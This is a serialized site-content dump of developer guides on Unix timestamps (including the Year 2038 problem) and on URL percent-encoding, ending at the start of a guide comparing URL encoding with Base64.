",[143,253065,99708],{},[47,253067,253068],{},"milliseconds",[193,253070,253071,253081],{},[196,253072,253073],{},[199,253074,253075,253077,253079],{},[202,253076,13018],{},[202,253078,133],{},[202,253080,14177],{},[211,253082,253083,253095],{},[199,253084,253085,253087,253092],{},[216,253086,692],{},[216,253088,253089],{},[143,253090,253091],{},"1748300000",[216,253093,253094],{},"Unix, Linux, databases, APIs",[199,253096,253097,253099,253104],{},[216,253098,87876],{},[216,253100,253101],{},[143,253102,253103],{},"1748300000000",[216,253105,253106],{},"JavaScript, Java, Go",[16,253108,253109],{},[47,253110,253111],{},"Conversion is straightforward:",[41,253113,253114,253117],{},[44,253115,253116],{},"Seconds → Milliseconds: multiply by 1000",[44,253118,253119],{},"Milliseconds → Seconds: divide by 1000 (truncate decimals)",[135,253121,253123],{"className":1607,"code":253122,"language":1609,"meta":141,"style":141},"\u002F\u002F JavaScript: convert seconds to a Date object\nconst date = new Date(1748300000 * 1000)\nconsole.log(date.toUTCString()) \u002F\u002F \"Mon, 26 May 2025 20:53:20 GMT\"\n",[143,253124,253125,253130,253152],{"__ignoreMap":141},[1560,253126,253127],{"class":1562,"line":1563},[1560,253128,253129],{"class":1649},"\u002F\u002F JavaScript: convert seconds to a Date object\n",[1560,253131,253132,253134,253136,253138,253140,253142,253144,253146,253148,253150],{"class":1562,"line":337},[1560,253133,8180],{"class":1669},[1560,253135,87637],{"class":1576},[1560,253137,8186],{"class":1669},[1560,253139,11489],{"class":1669},[1560,253141,87644],{"class":1566},[1560,253143,1688],{"class":1570},[1560,253145,253091],{"class":1576},[1560,253147,8064],{"class":1669},[1560,253149,82375],{"class":1576},[1560,253151,8252],{"class":1570},[1560,253153,253154,253156,253158,253160,253162,253164],{"class":1562,"line":343},[1560,253155,8211],{"class":1570},[1560,253157,8214],{"class":1566},[1560,253159,87662],{"class":1570},[1560,253161,207193],{"class":1566},[1560,253163,162326],{"class":1570},[1560,253165,253166],{"class":1649},"\u002F\u002F \"Mon, 26 May 2025 20:53:20 GMT\"\n",[135,253168,253170],{"className":8259,"code":253169,"language":8261,"meta":141,"style":141},"# Python: current Unix timestamp in seconds\nimport time\nprint(int(time.time()))  # e.g., 1748300000\n",[143,253171,253172,253177,253181],{"__ignoreMap":141},[1560,253173,253174],{"class":1562,"line":1563},[1560,253175,253176],{},"# Python: current Unix timestamp in seconds\n",[1560,253178,253179],{"class":1562,"line":337},[1560,253180,252397],{},[1560,253182,253183],{"class":1562,"line":343},[1560,253184,253185],{},"print(int(time.time()))  # e.g., 1748300000\n",[11,253187,253189],{"id":253188},"the-year-2038-problem","The Year 2038 Problem",[16,253191,253192,253193,253196,253197,468],{},"Early Unix systems stored timestamps in a ",[47,253194,253195],{},"signed 32-bit integer",", which maxes out at ",[143,253198,170186],{},[135,253200,253203],{"className":253201,"code":253202,"language":140,"meta":141},[138],"Max 32-bit timestamp: 2147483647\nDate: 2038-01-19 03:14:07 UTC\n",[143,253204,253202],{"__ignoreMap":141},[16,253206,253207,253208,253211],{},"After that moment, a 32-bit counter ",[47,253209,253210],{},"rolls over to a negative number",", causing bugs similar to the Y2K issue. The fix? Use 64-bit integers, which support timestamps up to year 292 billion — effectively forever.",[16,253213,253214],{},"Most modern systems and languages already use 64-bit storage, but legacy embedded systems and older file formats may still be vulnerable.",[11,253216,103922],{"id":103921},[41,253218,253219,253230,253236,253242,253248],{},[44,253220,253221,253223,253224,1856,253226,253229],{},[47,253222,236073],{},": Store ",[143,253225,38494],{},[143,253227,253228],{},"updated_at"," as integers for fast sorting and indexing",[44,253231,253232,253235],{},[47,253233,253234],{},"APIs",": Pass timestamps in JSON payloads to avoid timezone parsing issues",[44,253237,253238,253241],{},[47,253239,253240],{},"Caching",": Use timestamps for cache invalidation and TTL calculations",[44,253243,253244,253247],{},[47,253245,253246],{},"Logging",": Record events with precise, sortable timestamps",[44,253249,253250,253252],{},[47,253251,977],{},": Cron jobs and task schedulers rely on epoch time internally",[11,253254,253256],{"id":253255},"converting-timestamps","Converting Timestamps",[33,253258,253260],{"id":253259},"by-hand","By Hand",[77,253262,253263,253268,253271,253274],{},[44,253264,253265,253266,1525],{},"Take the timestamp value (e.g., ",[143,253267,253091],{},[44,253269,253270],{},"Divide by 86400 to get days since epoch",[44,253272,253273],{},"Add those days to January 1, 1970",[44,253275,253276],{},"Account for leap years",[16,253278,253279],{},"In practice, use a programming language or online converter instead.",[33,253281,253283],{"id":253282},"in-code","In Code",[135,253285,253287],{"className":1607,"code":253286,"language":1609,"meta":141,"style":141},"\u002F\u002F Get current timestamp\nDate.now()                    \u002F\u002F milliseconds\nMath.floor(Date.now() \u002F 1000) \u002F\u002F seconds\n\n\u002F\u002F Timestamp to human-readable\nnew Date(1748300000 * 1000).toISOString() \u002F\u002F \"2025-05-26T20:53:20.000Z\"\n",[143,253288,253289,253294,253307,253328,253332,253337],{"__ignoreMap":141},[1560,253290,253291],{"class":1562,"line":1563},[1560,253292,253293],{"class":1649},"\u002F\u002F Get current timestamp\n",[1560,253295,253296,253299,253301,253304],{"class":1562,"line":337},[1560,253297,253298],{"class":1570},"Date.",[1560,253300,90104],{"class":1566},[1560,253302,253303],{"class":1570},"()                    ",[1560,253305,253306],{"class":1649},"\u002F\u002F milliseconds\n",[1560,253308,253309,253311,253313,253315,253317,253319,253321,253323,253325],{"class":1562,"line":343},[1560,253310,177005],{"class":1570},[1560,253312,9406],{"class":1566},[1560,253314,90101],{"class":1570},[1560,253316,90104],{"class":1566},[1560,253318,38111],{"class":1570},[1560,253320,9423],{"class":1669},[1560,253322,82375],{"class":1576},[1560,253324,1733],{"class":1570},[1560,253326,253327],{"class":1649},"\u002F\u002F seconds\n",[1560,253329,253330],{"class":1562,"line":365},[1560,253331,1702],{"emptyLinePlaceholder":363},[1560,253333,253334],{"class":1562,"line":889},[1560,253335,253336],{"class":1649},"\u002F\u002F Timestamp to human-readable\n",[1560,253338,253339,253341,253343,253345,253347,253349,253351,253353,253355,253357],{"class":1562,"line":1710},[1560,253340,20807],{"class":1669},[1560,253342,87644],{"class":1566},[1560,253344,1688],{"class":1570},[1560,253346,253091],{"class":1576},[1560,253348,8064],{"class":1669},[1560,253350,82375],{"class":1576},[1560,253352,9368],{"class":1570},[1560,253354,90155],{"class":1566},[1560,253356,38111],{"class":1570},[1560,253358,252385],{"class":1649},[135,253360,253362],{"className":8259,"code":253361,"language":8261,"meta":141,"style":141},"# Get current timestamp\nimport time\ntime.time()          # float, seconds\nint(time.time())     # int, seconds\n\n# Timestamp to human-readable\nfrom datetime import datetime\ndatetime.utcfromtimestamp(1748300000).isoformat()  # \"2025-05-26T20:53:20+00:00\"\n",[143,253363,253364,253369,253373,253378,253383,253387,253392,253396],{"__ignoreMap":141},[1560,253365,253366],{"class":1562,"line":1563},[1560,253367,253368],{},"# Get current timestamp\n",[1560,253370,253371],{"class":1562,"line":337},[1560,253372,252397],{},[1560,253374,253375],{"class":1562,"line":343},[1560,253376,253377],{},"time.time()          # float, seconds\n",[1560,253379,253380],{"class":1562,"line":365},[1560,253381,253382],{},"int(time.time())     # int, seconds\n",[1560,253384,253385],{"class":1562,"line":889},[1560,253386,1702],{"emptyLinePlaceholder":363},[1560,253388,253389],{"class":1562,"line":1710},[1560,253390,253391],{},"# Timestamp to human-readable\n",[1560,253393,253394],{"class":1562,"line":1717},[1560,253395,94839],{},[1560,253397,253398],{"class":1562,"line":1747},[1560,253399,253400],{},"datetime.utcfromtimestamp(1748300000).isoformat()  # \"2025-05-26T20:53:20+00:00\"\n",[11,253402,253404],{"id":253403},"key-facts-to-remember","Key Facts to Remember",[41,253406,253407,253414,253421,253427,253434],{},[44,253408,253409,253410,253413],{},"Unix timestamps are ",[47,253411,253412],{},"always UTC"," — no time zone offsets",[44,253415,253416,253417,253420],{},"They ",[47,253418,253419],{},"ignore leap seconds"," — each day is exactly 86400 seconds",[44,253422,253423,253424],{},"Negative timestamps represent dates ",[47,253425,253426],{},"before 1970",[44,253428,10023,253429,253431,253432],{},[47,253430,253068],{},"; most everything else uses ",[47,253433,253062],{},[44,253435,253436,253437,253440],{},"The 2038 problem only affects ",[47,253438,253439],{},"32-bit signed"," integers",[11,253442,321],{"id":320},[41,253444,253445,253449,253453],{},[44,253446,253447],{},[98,253448,236380],{"href":236379},[44,253450,253451],{},[98,253452,252518],{"href":236422},[44,253454,253455],{},[98,253456,1204],{"href":1203},[11,253458,286],{"id":285},[16,253460,29979,253461,253463],{},[98,253462,623],{"href":622}," to convert Unix timestamps to human-readable dates and back — right in your browser.",[2043,253465,253466],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":141,"searchDepth":337,"depth":337,"links":253468},[253469,253470,253471,253472,253473,253477,253478,253479],{"id":253035,"depth":337,"text":253036},{"id":253055,"depth":337,"text":253056},{"id":253188,"depth":337,"text":253189},{"id":103921,"depth":337,"text":103922},{"id":253255,"depth":337,"text":253256,"children":253474},[253475,253476],{"id":253259,"depth":343,"text":253260},{"id":253282,"depth":343,"text":253283},{"id":253403,"depth":337,"text":253404},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Learn what Unix timestamps are, how epoch time works, and why developers use them for date and time handling.",{"immutable":363},{"title":253030,"description":253480},"guides\u002Funix-timestamp-guide","FMQxpikle3no6kv0id2wrvdGvofMgaFGe4L4WAKdEhU",{"id":253486,"title":253487,"body":253488,"date":235803,"description":254400,"extension":361,"meta":254401,"navigation":363,"path":12184,"readingTime":1710,"seo":254402,"stem":254403,"__hash__":254404},"guides\u002Fguides\u002Furl-encoding-guide.md","What Is URL Encoding? Complete Guide to Percent-Encoding",{"type":8,"value":253489,"toc":254380},[253490,253492,253498,253506,253509,253513,253516,253519,253556,253558,253561,253794,253796,253799,253840,253846,253850,253853,253871,253874,253913,253977,253981,254028,254030,254033,254085,254088,254114,254162,254166,254251,254255,254258,254294,254298,254312,254316,254353,254355,254369,254371,254377],[11,253491,119229],{"id":119228},[16,253493,253494,253495,253497],{},"URL encoding (also called percent-encoding) converts characters into a format that can safely travel across the internet. It replaces unsafe or reserved characters with a ",[143,253496,17990],{}," followed by two hexadecimal digits.",[16,253499,253500,253501,253503,253504,468],{},"For example, a space becomes ",[143,253502,34150],{},", and an ampersand becomes ",[143,253505,84136],{},[16,253507,253508],{},"Every URL you click, every API request your app sends, and every form your users submit relies on URL encoding behind the scenes.",[11,253510,253512],{"id":253511},"why-url-encoding-matters","Why URL Encoding Matters",[16,253514,253515],{},"URLs can only carry a limited set of ASCII characters. Anything outside that set — spaces, Unicode text, or special symbols — must be encoded before it enters a URL.",[16,253517,253518],{},"Without encoding:",[41,253520,253521,253527,253538,253550],{},[44,253522,253523,253526],{},[47,253524,253525],{},"Spaces break URLs"," — they confuse browsers and servers",[44,253528,253529,23567,253532,253534,253535,253537],{},[47,253530,253531],{},"Reserved characters change meaning",[143,253533,13530],{}," splits query parameters, ",[143,253536,7297],{}," assigns values",[44,253539,253540,253543,253544,1531,253546,253549],{},[47,253541,253542],{},"Unicode causes errors"," — non-ASCII characters like ",[143,253545,24101],{},[143,253547,253548],{},"你好"," need encoding",[44,253551,253552,253555],{},[47,253553,253554],{},"APIs reject bad input"," — unencoded payloads fail silently or return errors",[11,253557,215150],{"id":215149},[16,253559,253560],{},"RFC 3986 defines characters with special meanings in URLs. These characters must be percent-encoded when used as data, not as delimiters:",[193,253562,253563,253574],{},[196,253564,253565],{},[199,253566,253567,253569,253571],{},[202,253568,7809],{},[202,253570,172482],{},[202,253572,253573],{},"Purpose in URLs",[211,253575,253576,253588,253600,253612,253624,253636,253648,253660,253672,253684,253696,253708,253720,253732,253745,253757,253769,253782],{},[199,253577,253578,253582,253586],{},[216,253579,253580],{},[143,253581,27989],{},[216,253583,253584],{},[143,253585,246238],{},[216,253587,246241],{},[199,253589,253590,253594,253598],{},[216,253591,253592],{},[143,253593,6852],{},[216,253595,253596],{},[143,253597,172538],{},[216,253599,215220],{},[199,253601,253602,253606,253610],{},[216,253603,253604],{},[143,253605,11938],{},[216,253607,253608],{},[143,253609,246254],{},[216,253611,246241],{},[199,253613,253614,253618,253622],{},[216,253615,253616],{},[143,253617,13530],{},[216,253619,253620],{},[143,253621,84136],{},[216,253623,215181],{},[199,253625,253626,253630,253634],{},[216,253627,253628],{},[143,253629,9361],{},[216,253631,253632],{},[143,253633,246287],{},[216,253635,246241],{},[199,253637,253638,253642,253646],{},[216,253639,253640],{},[143,253641,1688],{},[216,253643,253644],{},[143,253645,246302],{},[216,253647,246241],{},[199,253649,253650,253654,253658],{},[216,253651,253652],{},[143,253653,1525],{},[216,253655,253656],{},[143,253657,246318],{},[216,253659,246241],{},[199,253661,253662,253666,253670],{},[216,253663,253664],{},[143,253665,8069],{},[216,253667,253668],{},[143,253669,246334],{},[216,253671,246241],{},[199,253673,253674,253678,253682],{},[216,253675,253676],{},[143,253677,9448],{},[216,253679,253680],{},[143,253681,172565],{},[216,253683,246241],{},[199,253685,253686,253690,253694],{},[216,253687,253688],{},[143,253689,6858],{},[216,253691,253692],{},[143,253693,246366],{},[216,253695,246241],{},[199,253697,253698,253702,253706],{},[216,253699,253700],{},[143,253701,9423],{},[216,253703,253704],{},[143,253705,84140],{},[216,253707,215233],{},[199,253709,253710,253714,253718],{},[216,253711,253712],{},[143,253713,8037],{},[216,253715,253716],{},[143,253717,215244],{},[216,253719,215247],{},[199,253721,253722,253726,253730],{},[216,253723,253724],{},[143,253725,36973],{},[216,253727,253728],{},[143,253729,215258],{},[216,253731,246241],{},[199,253733,253734,253738,253742],{},[216,253735,253736],{},[143,253737,7297],{},[216,253739,253740],{},[143,253741,172524],{},[216,253743,253744],{},"Query parameter assignment",[199,253746,253747,253751,253755],{},[216,253748,253749],{},[143,253750,33994],{},[216,253752,253753],{},[143,253754,98679],{},[216,253756,215207],{},[199,253758,253759,253763,253767],{},[216,253760,253761],{},[143,253762,6849],{},[216,253764,253765],{},[143,253766,215272],{},[216,253768,246241],{},[199,253770,253771,253775,253779],{},[216,253772,253773],{},[143,253774,24385],{},[216,253776,253777],{},[143,253778,246188],{},[216,253780,253781],{},"IPv6 address",[199,253783,253784,253788,253792],{},[216,253785,253786],{},[143,253787,131065],{},[216,253789,253790],{},[143,253791,246205],{},[216,253793,253781],{},[11,253795,246478],{"id":246477},[16,253797,253798],{},"These characters never need encoding:",[41,253800,253801,253810,253816,253822,253828,253834],{},[44,253802,253803,1663,253806,1459,253808],{},[47,253804,253805],{},"Letters",[143,253807,247261],{},[143,253809,247265],{},[44,253811,253812,1663,253814],{},[47,253813,14495],{},[143,253815,28727],{},[44,253817,253818,1663,253820],{},[47,253819,121721],{},[143,253821,9412],{},[44,253823,253824,1663,253826],{},[47,253825,21443],{},[143,253827,468],{},[44,253829,253830,1663,253832],{},[47,253831,103204],{},[143,253833,23056],{},[44,253835,253836,1663,253838],{},[47,253837,246566],{},[143,253839,6845],{},[16,253841,253842,253843,253845],{},"RFC 3986 states that unreserved characters should ",[47,253844,28839],{}," be encoded. Encoding them produces equivalent but longer URLs.",[11,253847,253849],{"id":253848},"_20-vs-the-space-encoding-trap","%20 vs +: The Space Encoding Trap",[16,253851,253852],{},"Spaces in URLs present a historical ambiguity:",[41,253854,253855,253862],{},[44,253856,253857,253861],{},[47,253858,253859],{},[143,253860,34150],{}," — true percent-encoding per RFC 3986, valid everywhere in a URL",[44,253863,253864,253868,253869,172599],{},[47,253865,253866],{},[143,253867,9448],{}," — legacy encoding from ",[143,253870,172598],{},[33,253872,253873],{"id":41981},"When to use each",[41,253875,253876,253884,253894,253904],{},[44,253877,253878,253881,253882],{},[47,253879,253880],{},"Path segments",": always use ",[143,253883,34150],{},[44,253885,253886,1663,253891,253893],{},[47,253887,253888,253889],{},"Query strings with ",[143,253890,172598],{},[143,253892,9448],{}," is the standard",[44,253895,253896,253901,253902],{},[47,253897,253888,253898],{},[143,253899,253900],{},"multipart\u002Fform-data",": use ",[143,253903,34150],{},[44,253905,253906,253909,253910,253912],{},[47,253907,253908],{},"REST API parameters",": prefer ",[143,253911,34150],{}," for safety",[135,253914,253916],{"className":1607,"code":253915,"language":1609,"meta":141,"style":141},"\u002F\u002F JavaScript's built-in functions\nencodeURIComponent('hello world')  \u002F\u002F \"hello%20world\"\nencodeURI('hello world')           \u002F\u002F \"hello%20world\"\n\n\u002F\u002F Form encoding (application\u002Fx-www-form-urlencoded)\nnew URLSearchParams({ q: 'hello world' }).toString()\n\u002F\u002F \"q=hello+world\"\n",[143,253917,253918,253923,253935,253948,253952,253957,253973],{"__ignoreMap":141},[1560,253919,253920],{"class":1562,"line":1563},[1560,253921,253922],{"class":1649},"\u002F\u002F JavaScript's built-in functions\n",[1560,253924,253925,253927,253929,253931,253933],{"class":1562,"line":337},[1560,253926,33827],{"class":1566},[1560,253928,1688],{"class":1570},[1560,253930,34175],{"class":5634},[1560,253932,10060],{"class":1570},[1560,253934,34180],{"class":1649},[1560,253936,253937,253939,253941,253943,253946],{"class":1562,"line":343},[1560,253938,33927],{"class":1566},[1560,253940,1688],{"class":1570},[1560,253942,34175],{"class":5634},[1560,253944,253945],{"class":1570},")           ",[1560,253947,34180],{"class":1649},[1560,253949,253950],{"class":1562,"line":365},[1560,253951,1702],{"emptyLinePlaceholder":363},[1560,253953,253954],{"class":1562,"line":889},[1560,253955,253956],{"class":1649},"\u002F\u002F Form encoding (application\u002Fx-www-form-urlencoded)\n",[1560,253958,253959,253961,253963,253965,253967,253969,253971],{"class":1562,"line":1710},[1560,253960,20807],{"class":1669},[1560,253962,34203],{"class":1566},[1560,253964,34206],{"class":1570},[1560,253966,34175],{"class":5634},[1560,253968,172635],{"class":1570},[1560,253970,10052],{"class":1566},[1560,253972,27830],{"class":1570},[1560,253974,253975],{"class":1562,"line":1717},[1560,253976,34223],{"class":1649},[33,253978,253980],{"id":253979},"common-mistake","Common mistake",[135,253982,253984],{"className":1607,"code":253983,"language":1609,"meta":141,"style":141},"\u002F\u002F WRONG: Using + in path segments\nconst url = `\u002Fsearch\u002Fhello+world`  \u002F\u002F Server reads \"hello+world\" literally\n\n\u002F\u002F CORRECT: Use %20 in path segments\nconst url = `\u002Fsearch\u002Fhello%20world`  \u002F\u002F Server reads \"hello world\"\n",[143,253985,253986,253991,254005,254009,254014],{"__ignoreMap":141},[1560,253987,253988],{"class":1562,"line":1563},[1560,253989,253990],{"class":1649},"\u002F\u002F WRONG: Using + in path segments\n",[1560,253992,253993,253995,253997,253999,254002],{"class":1562,"line":337},[1560,253994,8180],{"class":1669},[1560,253996,33819],{"class":1576},[1560,253998,8186],{"class":1669},[1560,254000,254001],{"class":5634}," `\u002Fsearch\u002Fhello+world`",[1560,254003,254004],{"class":1649},"  \u002F\u002F Server reads \"hello+world\" literally\n",[1560,254006,254007],{"class":1562,"line":343},[1560,254008,1702],{"emptyLinePlaceholder":363},[1560,254010,254011],{"class":1562,"line":365},[1560,254012,254013],{"class":1649},"\u002F\u002F CORRECT: Use %20 in path segments\n",[1560,254015,254016,254018,254020,254022,254025],{"class":1562,"line":889},[1560,254017,8180],{"class":1669},[1560,254019,33819],{"class":1576},[1560,254021,8186],{"class":1669},[1560,254023,254024],{"class":5634}," `\u002Fsearch\u002Fhello%20world`",[1560,254026,254027],{"class":1649},"  \u002F\u002F Server reads \"hello world\"\n",[11,254029,214863],{"id":214862},[16,254031,254032],{},"JavaScript provides two encoding functions with different scopes:",[193,254034,254035,254046],{},[196,254036,254037],{},[199,254038,254039,254041,254043],{},[202,254040,43834],{},[202,254042,214874],{},[202,254044,254045],{},"Leaves unencoded",[211,254047,254048,254071],{},[199,254049,254050,254054,254065],{},[216,254051,254052],{},[143,254053,33927],{},[216,254055,254056,254057,1459,254059,1459,254061,1459,254063],{},"Spaces, non-ASCII, ",[143,254058,6852],{},[143,254060,33994],{},[143,254062,13530],{},[143,254064,7297],{},[216,254066,254067,254070],{},[143,254068,254069],{},":\u002F?#[]@!$&'()*+,;="," (URL structure chars)",[199,254072,254073,254077,254080],{},[216,254074,254075],{},[143,254076,33827],{},[216,254078,254079],{},"Spaces, non-ASCII, all reserved chars",[216,254081,254082,67488],{},[143,254083,254084],{},"-_.!~*'()",[33,254086,254087],{"id":79406},"Practical guidelines",[41,254089,254090,254097,254104],{},[44,254091,1388,254092,254096],{},[47,254093,254094],{},[143,254095,33927],{}," when encoding a complete URL",[44,254098,1388,254099,254103],{},[47,254100,254101],{},[143,254102,33827],{}," when encoding a single query parameter value",[44,254105,194786,254106,254108,254109,1856,254111,254113],{},[143,254107,33927],{}," on query values — it leaves ",[143,254110,13530],{},[143,254112,7297],{}," unencoded",[135,254115,254117],{"className":1607,"code":254116,"language":1609,"meta":141,"style":141},"\u002F\u002F Encoding parts of a query string\nconst query = `q=${encodeURIComponent('JS & React')}&lang=${encodeURIComponent('en')}`\n\u002F\u002F \"q=JS%20%26%20React&lang=en\"\n",[143,254118,254119,254124,254157],{"__ignoreMap":141},[1560,254120,254121],{"class":1562,"line":1563},[1560,254122,254123],{"class":1649},"\u002F\u002F Encoding parts of a query string\n",[1560,254125,254126,254128,254130,254132,254135,254137,254139,254142,254144,254147,254149,254151,254153,254155],{"class":1562,"line":337},[1560,254127,8180],{"class":1669},[1560,254129,34062],{"class":1576},[1560,254131,8186],{"class":1669},[1560,254133,254134],{"class":5634}," `q=${",[1560,254136,33827],{"class":1566},[1560,254138,1688],{"class":5634},[1560,254140,254141],{"class":5634},"'JS & React'",[1560,254143,1525],{"class":5634},[1560,254145,254146],{"class":5634},"}&lang=${",[1560,254148,33827],{"class":1566},[1560,254150,1688],{"class":5634},[1560,254152,205250],{"class":5634},[1560,254154,1525],{"class":5634},[1560,254156,100442],{"class":5634},[1560,254158,254159],{"class":1562,"line":343},[1560,254160,254161],{"class":1649},"\u002F\u002F \"q=JS%20%26%20React&lang=en\"\n",[11,254163,254165],{"id":254164},"common-encoding-examples","Common Encoding Examples",[193,254167,254168,254179],{},[196,254169,254170],{},[199,254171,254172,254175,254177],{},[202,254173,254174],{},"Raw Value",[202,254176,172482],{},[202,254178,2973],{},[211,254180,254181,254194,254209,254223,254236],{},[199,254182,254183,254187,254191],{},[216,254184,254185],{},[143,254186,40658],{},[216,254188,254189],{},[143,254190,204539],{},[216,254192,254193],{},"Space in query",[199,254195,254196,254201,254206],{},[216,254197,254198],{},[143,254199,254200],{},"price=10&sale=5",[216,254202,254203],{},[143,254204,254205],{},"price%3D10%26sale%3D5",[216,254207,254208],{},"Ampersand\u002Fequal as data",[199,254210,254211,254215,254220],{},[216,254212,254213],{},[143,254214,246138],{},[216,254216,254217],{},[143,254218,254219],{},"%2Fapi%2Fusers",[216,254221,254222],{},"Slash as data value",[199,254224,254225,254229,254233],{},[216,254226,254227],{},[143,254228,187396],{},[216,254230,254231],{},[143,254232,214683],{},[216,254234,254235],{},"Unicode character",[199,254237,254238,254243,254248],{},[216,254239,254240],{},[143,254241,254242],{},"hello@example",[216,254244,254245],{},[143,254246,254247],{},"hello%40example",[216,254249,254250],{},"At sign as data",[11,254252,254254],{"id":254253},"browser-behavior","Browser Behavior",[16,254256,254257],{},"Modern browsers handle URL encoding automatically in several contexts:",[41,254259,254260,254266,254276,254284],{},[44,254261,254262,254265],{},[47,254263,254264],{},"Address bar",": Browsers display decoded URLs but send encoded URLs",[44,254267,254268,254275],{},[47,254269,254270,1856,254273],{},[143,254271,254272],{},"fetch()",[143,254274,216657],{},": Do not auto-encode your URL — you must encode it",[44,254277,254278,254283],{},[47,254279,254280],{},[143,254281,254282],{},"\u003Ca href>",": Browsers auto-encode paths but not query strings consistently",[44,254285,254286,254288,254289,254291,254292,1525],{},[47,254287,127055],{},": Uses ",[143,254290,172598],{}," rules (spaces → ",[143,254293,9448],{},[33,254295,254297],{"id":254296},"what-you-need-to-handle-manually","What you need to handle manually",[41,254299,254300,254303,254306,254309],{},[44,254301,254302],{},"Building API request URLs in JavaScript",[44,254304,254305],{},"Constructing URLs with dynamic path segments",[44,254307,254308],{},"Passing special characters as query parameter values",[44,254310,254311],{},"Sharing URLs that contain non-ASCII text",[11,254313,254315],{"id":254314},"_5-best-practices","5 Best Practices",[77,254317,254318,254325,254331,254341,254347],{},[44,254319,254320,12674,254323],{},[47,254321,254322],{},"Always encode query parameter values",[143,254324,33827],{},[44,254326,254327,254330],{},[47,254328,254329],{},"Don't double-encode"," — check if data is already encoded before encoding again",[44,254332,254333,1459,254338,254340],{},[47,254334,1388,254335,254337],{},[143,254336,34150],{}," for paths",[143,254339,9448],{}," only for form-encoded query strings",[44,254342,254343,254346],{},[47,254344,254345],{},"Decode server-side"," before processing — never trust raw URL input",[44,254348,254349,254352],{},[47,254350,254351],{},"Validate decoded values"," — URL encoding is not sanitization",[11,254354,321],{"id":320},[41,254356,254357,254361,254365],{},[44,254358,254359],{},[98,254360,247773],{"href":247772},[44,254362,254363],{},[98,254364,120062],{"href":120061},[44,254366,254367],{},[98,254368,248982],{"href":84534},[11,254370,286],{"id":285},[16,254372,254373,254374,254376],{},"Encode and decode URLs instantly with our free ",[98,254375,120079],{"href":34509}," tool. Paste any text or URL and get the correctly encoded result in one click.",[2043,254378,254379],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}",{"title":141,"searchDepth":337,"depth":337,"links":254381},[254382,254383,254384,254385,254386,254390,254393,254394,254397,254398,254399],{"id":119228,"depth":337,"text":119229},{"id":253511,"depth":337,"text":253512},{"id":215149,"depth":337,"text":215150},{"id":246477,"depth":337,"text":246478},{"id":253848,"depth":337,"text":253849,"children":254387},[254388,254389],{"id":41981,"depth":343,"text":253873},{"id":253979,"depth":343,"text":253980},{"id":214862,"depth":337,"text":214863,"children":254391},[254392],{"id":79406,"depth":343,"text":254087},{"id":254164,"depth":337,"text":254165},{"id":254253,"depth":337,"text":254254,"children":254395},[254396],{"id":254296,"depth":343,"text":254297},{"id":254314,"depth":337,"text":254315},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Learn what URL encoding is, how percent-encoding works, and why it's essential for web development and API requests.",{"immutable":363},{"title":253487,"description":254400},"guides\u002Furl-encoding-guide","cna022UHtwf5KV2Yp60DzAnk00nrQvENVc5MRXUlSTQ",{"id":254406,"title":254407,"body":254408,"date":235803,"description":255380,"extension":361,"meta":255381,"navigation":363,"path":247772,"readingTime":1710,"seo":255382,"stem":255383,"__hash__":255384},"guides\u002Fguides\u002Furl-encoding-vs-base64.md","URL Encoding vs Base64: When to Use Each",{"type":8,"value":254409,"toc":255358},[254410,254414,254417,254432,254435,254439,254442,254448,254454,254481,254483,254486,254492,254516,254518,254639,254643,254645,254671,254723,254726,254730,254732,254760,254803,254806,254810,254816,254820,254834,254844,254989,254993,254996,255057,255060,255064,255067,255154,255157,255174,255176,255180,255190,255266,255270,255296,255298,255330,255332,255346,255348,255356],[11,254411,254413],{"id":254412},"the-core-difference","The Core Difference",[16,254415,254416],{},"URL encoding and Base64 solve fundamentally different problems:",[41,254418,254419,254427],{},[44,254420,254421,254423,254424,254426],{},[47,254422,222754],{}," makes text safe for URLs by replacing special characters with ",[143,254425,34470],{}," sequences",[44,254428,254429,254431],{},[47,254430,84223],{}," converts binary data into 